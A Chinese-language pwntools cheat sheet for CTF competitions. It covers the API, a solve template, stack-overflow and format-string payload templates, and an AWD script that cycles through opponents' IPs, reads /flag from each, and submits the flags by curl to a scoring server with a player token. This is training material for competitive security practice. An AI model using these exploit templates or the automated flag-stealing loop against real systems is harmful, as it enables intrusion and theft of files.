api

  1. 接收数据
  2. recv(n) - 接收任何数量的可用字节
  3. recvline() - 接收数据，直到遇到换行
  4. recvuntil(delim) - 接收数据，直到找到一个分隔符
  5. recvregex(pattern) - 接收数据，直到满足一个与pattern重合的内容为止
  6. recvrepeat(timeout) - 继续接收数据，直到发生超时
  7. clean() - 丢弃所有缓冲的数据
  8. 发送数据
  10. send(data) - 发送数据
  11. sendline(line) - 发送数据加一个换行
  12. 操作整数
  14. pack(int) - 打包发送一个字（word）大小的整数
  15. unpack() - 接收并解包一个字（word）大小的整数

解题模板

  1. from pwn import *
  3. context.terminal = ['tmux', 'splitw', '-h']
  4. #arch  "arch64"、"arm"、"i386"、"amd64"
  5. context(arch = 'amd64' , os = 'linux', log_level="debug")
  8. ## 网络
  9. dns  = remote('8.8.8.8', 53, typ='udp')
  10. tcp6 = remote('google.com', 80, fam='ipv6')
  11. # 监听
  12. client = listen(8080).wait_for_connection()
  13. # ssh
  14. session = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
  16. io = session.process('sh', env={"PS1":""})
  17. io.sendline('echo Hello, world!')
  20. #pack & unpack
  21. def p(x):
  22.     return struct.pack('I', x)
  23. def u(x):
  24.     return struct.unpack('I', x)[0]
  26. #p = process('./elf', env={'LD_PRELOAD':'./libc.so.6'})
  27. # EXPLOIT CODE GOES HERE
  29. # debug
  30. def debug(cmd=""):
  31.     gdb.attach(p, cmd)
  32.     pause()
  33. # file io
  34. write('filename', 'data')
  35. read('filename'，lenth)
  38. r.send(asm(shellcraft.sh()))
  39. r.interactive()

栈溢出

  1. from pwn import *
  2. offset = 0x88
  3.  r = remote("111.198.29.45", 34012) #连接指定IP及端口，题目给定
  4.  payload = 'A' * offset + 'a' * 0x8 + p64(0x00400596)#发送数据，输入数据溢出,并覆盖,返回到目标位置
  5.  r.recvuntil("字符串")       #运行到字符串位置停下
  6.  r.sendline(payload)         #发送 payload
  7.  r.interactive()             #交互

格式化字符串

  1. from pwn import *
  2. p = remote('111.200.241.244', '52927')
  3. p.recvuntil("代码中的字符串")
  4. p.send('')
  5. p.recvuntil("代码中的字符串")
  6. payload=p32(溢出点)+"aaaa填充字符串个数%偏移量$n"
  7. p.send(payload)
  8. p.interactive()

AWD模板

  1. from pwn import *
  3. context.arch='amd64'
  4. # context.log_level='debug'
  6. def debug(addr,PIE=True):
  7.     if PIE:
  8.         text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
  9.         gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
  10.     else:
  11.         gdb.attach(p,"b *{}".format(hex(addr)))
  13. def main(host,port=16957):
  14.     global p
  15.     if host:
  16.         p=remote(host,port)
  17.     else:
  18.         p=process("./pwn")
  19.         # gdb.attach(p)
  20.         debug(0x00000000000739D)
  21.     code = """string readfile(string name);string lnk(string src, string dest);string print(string x);lnk("/flag", "/tmp/y");print(readfile("/tmp/y"));"""
  23.     p.recvuntil("size: ")
  24.     p.sendline(str(len(code)+2))
  25.     p.recvuntil("Give me your script(same size): ")
  26.     p.sendline(code)
  28.     try:
  29.         p.recvuntil("flag",timeout=0.5)
  30.         flag = "flag" + p.recvuntil("\n",timeout=0.5)
  31.         info(flag)
  32.         p.close()
  33.         return flag
  34.     except Exception,err:
  35.         print err
  36.         p.close()
  37.         return "bad_luck"
  38.     p.interactive()
  40. if __name__ == '__main__':
  41.     # libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
  42.     # main("123.57.209.176")
  44.     # main("172.20.0.27")
  45.     ips = [i.strip() for i in open("ip.txt","rb").readlines()]
  46.     while(1):
  47.         for ip in ips:
  48.             try:
  49.                 sleep(1)
  50.                 flag = main(ip)
  51.                 # flag = main(args["REMOTE"])
  52.                 info(flag)
  53.                 url = 'https://172.20.1.1/Answerapi/sub_answer_api'
  54.                 token = 'token78s8gbv55k4b03'
  55.                 cmds = 'curl -k {} -d "answer={}&playertoken={}"'.format(url,flag.strip(),token)
  56.                 print cmds
  57.                 if 'flag' in cmds:
  58.                     os.system(cmds)
  59.             except Exception,err:
  60.                 p.close()
  61.                 print err
  62.                 continue
  63.         sleep(30)